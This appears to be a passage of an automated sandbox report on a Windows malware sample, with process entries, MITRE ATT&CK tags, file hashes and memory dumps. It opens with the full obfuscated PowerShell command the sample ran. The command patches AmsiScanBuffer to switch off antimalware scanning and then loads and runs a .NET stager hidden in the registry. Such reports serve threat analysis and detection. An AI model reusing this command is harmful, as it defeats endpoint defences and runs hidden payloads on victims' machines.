$_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+'e'+[Char](109)+''+[Char](46)+'dl'+[Char](108)+'')}).GetType('M'+[Char](105)+''+'c'+''+[Char](114)+''+'o'+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+'W'+'i'+''+[Char](110)+''+'3'+''+'2'+''+'.'+''+'U'+''+[Char](110)+''+'s'+''+'a'+''+'f'+'e'+'C'+''+[Char](66)+''+'F'+''+[Char](67)+''+[Char](80)+''+'A'+'w'+[Char](102)+''+[Char](106)+'Gmvy');$XGJJSJKaLNioJC=$CBFCPAwfjGmvy.GetMethod(''+[Char](88)+''+[Char](71)+'J'+'J'+'S'+'J'+'K'+[Char](97)+''+[Char](76)+''+[Char](78)+''+[Char](105)+''+[Char](111)+''+[Char](74)+''+[Char](67)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ZKAYmDWLMrjBvvWclNj=sxAlHkGsEkrW @([String])([IntPtr]);$KrtYyAxqWFNeakRDbgWOvX=sxAlHkGsEkrW @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$rHwILIjbwEn=$CBFCPAwfjGmvy.GetMethod(''+[Char](71)+'e'+'t'+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+'eHa'+'n'+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+[Char](110)+''+'e'+''+'l'+''+[Char](51)+''+[Char](50)+''+'.'+'d'+[Char](108)+'l')));$paISsFDuTYBwKC=$XGJJSJKaLNioJC.Invoke($Null,@([Object]$rHwILIjbwEn,[Object](''+'L'+'o'+[Char](97)+''+[Char](100)+'Li'+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$QGwDeQGEoFzhFmHxz=$XGJJSJKaLNioJC.Invoke($Null,@([Object]$rHwILIjbwEn,[Object](''+[Char](86)+'ir'+'t'+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$lakEoMF=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($paISsFDuTYBwKC,$ZKAYmDWLMrjBvvWclNj).Invoke('a'+[Char](109)+''+'s'+''+'i'+''+[Char](46)+''+'d'+''+[Char](108)+'l');$BuOMfhqPoczwbiadW=$XGJJSJKaLNioJC.Invoke($Null,@([Object]$lakEoMF,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+''+'a'+''+'n'+'B'+[Char](117)+''+'f'+'fe'+[Char](114)+'')));$ndxMmqlOXG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QGwDeQGEoFzhFmHxz,$KrtYyAxqWFNeakRDbgWOvX).Invoke($BuOMfhqPoczwbiadW,[uint32]8,4,[ref]$ndxMmqlOXG);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$BuOMfhqPoczwbiadW,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QGwDeQGEoFzhFmHxz,$KrtYyAxqWFNeakRDbgWOvX).Invoke($BuOMfhqPoczwbiadW,[uint32]8,0x20,[ref]$ndxMmqlOXG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+'T'+''+[Char](87)+'A'+[Char](82)+''+'E'+'').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+''+[Char](108)+'e'+[Char](114)+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4612

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:4520

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{42f376f4-4d58-4234-a29b-ea604b4cc717}
1⤵
PID:1764

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
3.7MB

MD5
35dbf36cc33d84930bac9d66a141af05

SHA1
11e41f289355a99f812f400247632403feabd494

SHA256
40ef7d8a6123e7842889f15406677fabf2534c5680f3c0df2c0087b7fe14ec63

SHA512
d16cf2f1f29c6f5c838c08f055e39d2b54639ffd18b3d7dff950fc55a06c9ec495c2272456072ab014f7b81671b6ae66a89a73ccab3f78b4757f4e9129fb7fb5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
59d97011e091004eaffb9816aa0b9abd

SHA1
1602a56b01dd4b7c577ca27d3117e4bcc1aa657b

SHA256
18f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d

SHA512
d9ca49c1a17580981e2c1a50d73c0eecaa7a62f8514741512172e395af2a3d80aeb0f71c58bc7f52c18246d57ba67af09b6bff4776877d6cc6f0245c30e092d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c40b803b937e1f2c38fd0759eff18b78

SHA1
475f3882d731732dc873d02e6f2df33dee23ed30

SHA256
4c8a3ef2f1eba0567f12d40114dcd76265fcabe4d96b3c34a5e80133938bb4f7

SHA512
e0ae16727c518160608d1e79ee99bffc61b998ce1dcea8dbb3272a72ee917dd9fd64f0818578444da3bc06e11bfa2007ecd7501c3bd2776988a047a3162b32aa

Download Submit
memory/580-177-0x00007FF9E5890000-0x00007FF9E58A0000-memory.dmp

Filesize
64KB

Download
memory/652-178-0x00007FF9E5890000-0x00007FF9E58A0000-memory.dmp

Filesize
64KB

Download
memory/992-133-0x00007FFA06FA0000-0x00007FFA07A61000-memory.dmp

Filesize
10.8MB

Download
memory/992-132-0x000001B3C8640000-0x000001B3C8662000-memory.dmp

Filesize
136KB

Download
memory/1764-171-0x00007FFA255D0000-0x00007FFA2568E000-memory.dmp

Filesize
760KB

Download
memory/1764-170-0x00007FFA25810000-0x00007FFA25A05000-memory.dmp

Filesize
2.0MB

Download
memory/1764-175-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/1764-166-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/1764-169-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/1764-176-0x00007FFA25810000-0x00007FFA25A05000-memory.dmp

Filesize
2.0MB

Download
memory/3220-151-0x00007FFA06FA0000-0x00007FFA07A61000-memory.dmp

Filesize
10.8MB

Download
memory/3220-147-0x00007FFA06FA0000-0x00007FFA07A61000-memory.dmp

Filesize
10.8MB

Download
memory/3276-156-0x00007FFA06FA0000-0x00007FFA07A61000-memory.dmp

Filesize
10.8MB

Download
memory/3276-155-0x00007FFA06FA0000-0x00007FFA07A61000-memory.dmp

Filesize
10.8MB

Download
memory/4404-159-0x0000000001A80000-0x0000000001AB6000-memory.dmp

Filesize
216KB

Download
memory/4404-163-0x0000000004CA0000-0x0000000004D06000-memory.dmp

Filesize
408KB

Download
memory/4404-162-0x0000000004590000-0x00000000045F6000-memory.dmp

Filesize
408KB

Download
memory/4404-161-0x00000000043F0000-0x0000000004412000-memory.dmp

Filesize
136KB

Download
memory/4404-160-0x0000000004600000-0x0000000004C28000-memory.dmp

Filesize
6.2MB

Download
memory/4612-164-0x00007FFA25810000-0x00007FFA25A05000-memory.dmp

Filesize
2.0MB

Download
memory/4612-172-0x00007FFA06FA0000-0x00007FFA07A61000-memory.dmp

Filesize
10.8MB

Download
memory/4612-173-0x00007FFA25810000-0x00007FFA25A05000-memory.dmp

Filesize
2.0MB

Download
memory/4612-174-0x00007FFA255D0000-0x00007FFA2568E000-memory.dmp

Filesize
760KB

Download
memory/4612-165-0x00007FFA255D0000-0x00007FFA2568E000-memory.dmp

Filesize
760KB

Download
memory/4612-158-0x00007FFA06FA0000-0x00007FFA07A61000-memory.dmp

Filesize
10.8MB

Download